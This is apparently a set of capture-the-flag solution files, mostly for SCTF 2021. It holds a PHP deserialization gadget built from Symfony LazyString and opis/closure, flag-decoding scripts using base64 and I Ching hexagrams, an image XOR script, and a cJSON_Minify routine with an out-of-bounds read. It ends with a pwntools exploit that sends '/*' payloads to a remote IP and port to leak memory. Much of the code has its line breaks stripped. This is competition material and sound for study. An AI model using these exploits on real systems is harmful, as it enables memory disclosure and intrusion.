{    "name": "sctf2021/upload",    "authors": [        {            "name": "AFKL",            "email": "[email protected]"        }    ],    "require": {        "symfony/string": "^5.3",        "opis/closure": "^3.6"    }}

<?phpinclude_once "../vendor/autoload.php";$a = new Symfony\Component\String\LazyString();$a = \Opis\Closure\serialize($a);echo $a;

import osa=r"./tree/"def read(a):    b=open(a + '/data').read()    print(b, end='')    if os.path.exists(a+'/letf'):        read(a+'/letf')    if os.path.exists(a+'/right'):        read(a+'/right')read(a)

Q2hpbmVzZSB0cmFkaXRpb25hbCBjdWx0dXJlIGlzIGJyb2FkIGFuZCBwcm9mb3VuZCEgU28gSSBXYW50IEdpdmUgWW91IE15IEZsYWcgQnV0IFlvdSBOZWVkIERlY29kZSBJdC5FbmpveSBUaGUgRmxhZyEhOuW4iCDlhZEg5aSNIOaNnyDlt70g6ZyHIOaZiyDlp6Qg5aSn6L+HIOiuvCDlmazll5Eg6ZyHIOaBkiDoioIg6LGrIA==

Chinese traditional culture is broad and profound! So I Want Give You My Flag But You Need Decode It.Enjoy The Flag!!:师 兑 复 损 巽 震 晋 姤 大过 讼 噬嗑 震 恒 节 豫

enc= "师兑复损巽震晋姤大过讼噬嗑震恒节豫"mydisc={'坤': '000000', '剥': '000001', '比': '000010', '观': '000011', '豫': '000100', '晋': '000101', '萃': '000110', '否': '000111', '谦': '001000', '艮': '001001', '蹇': '001010', '渐': '001011', '小过': '001100', '旅': '001101', '咸': '001110', '遁': '001111', '师': '010000', '蒙': '010001', '坎': '010010', '涣': '010011', '解': '010100', '未济': '010101', '困': '010110', '讼': '010111', '升': '011000', '蛊': '011001', '井': '011010', '巽': '011011', '恒': '011100', '鼎': '011101', '大过': '011110', '姤': '011111', '复': '100000', '颐': '100001', '屯': '100010', '益': '100011', '震': '100100', '噬嗑': '100101', '随': '100110', '无妄': '100111', '明夷': '101000', '贲': '101001', '既济': '101010', '家人': '101011', '丰': '101100', '离': '101101', '革': '101110', '同人': '101111', '临': '110000', '损': '110001', '节': '110010', '中孚': '110011', '归妹': '110100', '睽': '110101', '兑': '110110', '履': '110111', '泰': '111000', '大畜': '111001', '需': '111010', '小畜': '111011', '大壮': '111100', '大有': '111101', '夬': '111110', '乾': '111111'}keys=['坤', '剥', '比', '观', '豫', '晋', '萃', '否', '谦', '艮', '蹇', '渐', '小过', '旅', '咸', '遁', '师', '蒙', '坎', '涣', '解', '未济', '困', '讼', '升', '蛊', '井', '巽', '恒', '鼎', '大过', '姤', '复', '颐', '屯', '益', '震', '噬嗑', '随', '无妄', '明夷', '贲', '既济', '家人', '丰', '离', '革', '同人', '临', '损', '节', '中孚', '归妹', '睽', '兑', '履', '泰', '大畜', '需', '小畜', '大壮', '大有', '夬', '乾']def decrypt():   global mingwen   mingwen=enc   for each in keys:       mingwen=mingwen.replace(each,mydisc[each])   print(mingwen)if __name__ == '__main__':   decrypt()

010000110110100000110001011011100100000101011111011110010111100101100100011100110010000100

Ch1nA_yyds!

from PIL import Imagepic = Image.open('TpMSkq.png')f = open('aaaaa','r').readlines()for i in range(len(f)):f[i] = f[i].split('[')for j in range(1, len(f[i])):f[i][j] = f[i][j].split(';')w,h = pic.sizeimg = Image.new('RGB',(100,134),(255,255,255))k = 1b = 1time=0img2 = Image.new('RGB',(100,134),(0,0,0))for i in range(100):for j in range(1,134):tmp = pic.getpixel((b,k))#print((tmp[0]^int(f[i][j][2]),tmp[1]^int(f[i][j][3]),tmp[3]^int(f[i][j][4][:-3])))#img.putpixel((i,j-1),tmp)#img2.putpixel((i,j-1),((int(f[i][j][2]),int(f[i][j][3]),int(f[i][j][4][:-3]))))#print((int(f[i][j][2]),int(f[i][j][3]),int(f[i][j][4][:-3])))img.putpixel((i,j-1),(tmp[0]^int(f[i][j][2]),tmp[1]^int(f[i][j][3]),tmp[2]^int(f[i][j][4][:-3])))#pic.putpixel((i,j-1),(int(f[i][j][2]),int(f[i][j][3]),int(f[i][j][4][:-3])))if(k<=1200):k+=9else:breakif(b<=w):b+=9k=1else:break    time+=1if time == 10:exitimg.show()#img2.show()#img.save('1.png')print(w,h)

CJSON_PUBLIC(void) cJSON_Minify(char *json){    unsigned char *into = (unsi gned char*)json;    if (json == NULL)    {        return;    }    while (*json)    {        if (*json == ' ')        {            json++;        }        else if (*json == '\t')        {            /* Whitespace characters. */            json++;        }        else if (*json == '\r')        {            json++;        }        else if (*json=='\n')        {            json++;        }        else if ((*json == '/') && (json[1] == '/'))        {            /* double-slash comments, to end of line. */            while (*json && (*json != '\n'))            {                json++;            }        }        else if ((*json == '/') && (json[1] == '*'))        {            /* multiline comments. */            while (*json && !((*json == '*') && (json[1] == '/')))            {                json++;            }            json += 2;        }        else if (*json == '\"')        {            /* string literals, which are \" sensitive. */            *into++ = (unsigned char)*json++;            while (*json && (*json != '\"'))            {                if (*json == '\\')                {                    *into++ = (unsigned char)*json++;                }                *into++ = (unsigned char)*json++;            }            *into++ = (unsigned char)*json++;        }        else        {            /* All other characters. */            *into++ = (unsigned char)*json++;        }    }    /* and null-terminate. */    *into = '\0';}

#!/usr/bin/env python# -*- encoding: utf-8 -*-'''@File    :   exp.py@Time    :   2021/12/25 09:37:16@Author  :   eur1ka  @Version :   3.8@Contact :   [email protected]'''# here put the import libfrom pwn import *from LibcSearcher import *import pwnlibdebug = 0context.log_level = 'debug'context.arch = 'amd64'context.terminal = ['tmux','splitw','-h']IP="124.70.202.226"port=2101file_name = "./cJSON_PWN"try:    libc_path = ""    libc = ELF(libc_path)except:    passmenu = ""elf=ELF(file_name)if debug:    sh = process(file_name)else:    sh = remote(IP,port)def debug():    gdb.attach(sh)    pause()def cmd(choice):    sh.recvuntil(menu)    sh.sendline(str(choice))payload = 'a'*12payload += "/*"sh.send(payload)payload = "aaaa/*"payload += 'a'*8sh.send(payload)info = sh.recv(12)payload = "aa/*"payload += 'a'*10sh.send(payload)payload = "aaa/*"payload += 'a'*9sh.send(payload)info += sh.recv(12)# print(info)sh.sendline(info)sh.interactive()